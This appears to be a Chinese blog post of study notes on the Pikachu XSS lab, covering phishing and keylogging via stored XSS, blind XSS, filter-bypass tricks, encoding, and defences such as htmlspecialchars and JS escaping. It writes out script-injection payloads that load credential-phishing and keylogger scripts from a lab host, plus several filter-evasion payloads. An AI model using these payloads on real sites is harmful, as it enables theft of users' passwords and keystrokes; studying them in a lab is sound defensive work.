四 XSS(二)

XSS危害-XSS进行钓鱼的原理和实验演示

原理

这个例子使用了存储型xss
使用的payload为

<p>hello</p><script src="http://192.168.43.5/pikachu/pkxss/xfish/fish.php"></script>

当用户访问含有存储型XSS漏洞的页面时,页面就会请求文件http://192.168.43.5/pikachu/pkxss/xfish/fish.php,这个页面会提示用户输入用户名密码
其代码如下

钓鱼页面

pkxss后台xfish.php的代码
xfish.php

将这个url发送给目标就可以了

http://192.168.43.5/pikachu/vul/xss/xss_stored.php

后台就会得到用户的用户名和密码


pkxss后台

ⅩSS危害-ⅩSS获取键盘记录原理和实验演示

跨域

http://www.xyz.com:8080/script/test.js
协议://子域名.主域名:端口/资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域
我们把不同的域之间请求数据的操作,成为跨域操作。

同源策略

而为了安全考虑,所有的浏览器都约定了“同源策略”,同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如:x.com域名下的 Javascript并不能操作y.com域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置
比如通过: header(" Access-Control-Aow- Origin:xcom")指定
Tips:下面这些标签跨域加载资源〔资源类型是有限制的)是不受同源策略限制的。

<script src="">//js,加载到本地执行
< img src="">/图片
<link href="">//css
< frame src="">/任意资源
同源策略是为隔离不同域的操作,可防止用户的敏感信息被窃取

获取键盘记录的js脚本


rk.js

接收键盘记录的php代码


rkserver.png

本例中使用存储型XSS作演示
使用的payload为

<p>hello</p><script src="http://192.168.43.5/pikachu/pkxss/rkeypress/rk.js"></script>

当用户访问页面 http://192.168.43.5/pikachu/vul/xss/xss_stored.php就会将其键盘操作记录下来,传到pkxss后台上

pkxss键盘记录的后台

XSS盲打演示和原理分析

是一种XSS的应用场景
普通用户提交的payload不会返回到当前页面,会在后台管理员的页面上执行,来攻击管理员,属于一种存储型的XSS
比如一些用户反馈意见的页面

XSS的过滤和绕过(fter& htmlspecialchars)

过滤和转换

0,前端限制绕过,直接抓包重放,或者修改htm前端代码
1.,大小写,比如:< SCRIPT> aleRT(111)</ sCRIpt>
2, <scri<script>pt>alert(111)</scri</script>pt> 为了应对后台对<script>标签的替换
3,使用注释进行干扰:<scri<!--test-->pt> alert(11)-/sc<!--test-->ript>

编码

核心思路
后台过滤了特殊字符比如< script>标签但该标签可以被各种编码后台不一定会过滤
当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行.
url编码 可参考https://www.w3school.com.cn/tags/html_ref_urlencode.html

html编码 可参考https://blog.csdn.net/snsHL9db69ccu1aIKl9r/article/details/100138220

XSS绕过的技巧有很多,取决于你的思路和对前端的掌握程度

pre_replace
htmlspecialchars函数把预定义的字符转换为HTML实体
用法 $str = htmlspecialchars(string,flags,character-set,double_encode);
可参考 https://baijiahao.baidu.com/s?id=1621553793329253809&wfr=spider&for=pc
被转换的预定义的字符有:

html转义.png

可用的引号类型:

ENT COMPAT-默认。仅编码双引号。
ENT_QUOTES编码双引号和单引号 建议使用
ENT_ NOQUOTES-不编码任何引号。

XSS常见防范措施

总的原则:输入做过滤,输出做转义

  • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
  • 转义:所有输岀到前端的数据都根据输出点进行转义,比如输出到htm中进行htm实体转义,输入到js里
    面的进行转义

XSS输出在hre案例分析

实例1

这个例子保对输出作了转义,对输入没有作过滤,存在漏洞
注意a标签中的href属性中可以执行js脚本如

<a href='javascript:alert(111)'></a>

所以上例中的按需要对message进行过滤,只允许http/https开始的字符串,这样更加安全

XSS输出在js案例分析

后台代码
后台代码
动态生成js

在这里由于前端输入的变量需要嵌入js代码中,需要使用js转义


js转义

尤其是单双引号的转义

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
禁止转载,如需转载请通过简信或评论联系作者。

推荐阅读更多精彩内容

  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 13,096评论 0 16
  • 浅谈XSS—字符编码和浏览器解析原理 XSS简介 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascadin...
    Smi1e_阅读 10,084评论 2 3
  • 01 XSS攻击与防御 一、Cookie 定义 Cookie是指某些网站为了辨别用户身份而存储在客户端上的数据(通...
    Ackerzy阅读 7,744评论 3 10
  • 跨站脚本(XSS)是web应用中的一种典型的计算机安全漏洞。XSS允许攻击者可以在其他用户浏览的web页面中注入客...
    留七七阅读 12,504评论 1 26
  • 上班:第一个早到的人,被锁在公司外。 下班:最后一个走的人,回去后才发现,今天白做了…… 结局:明天继续加班Ծ‸Ծ...
    来着何人_你的人阅读 1,943评论 0 0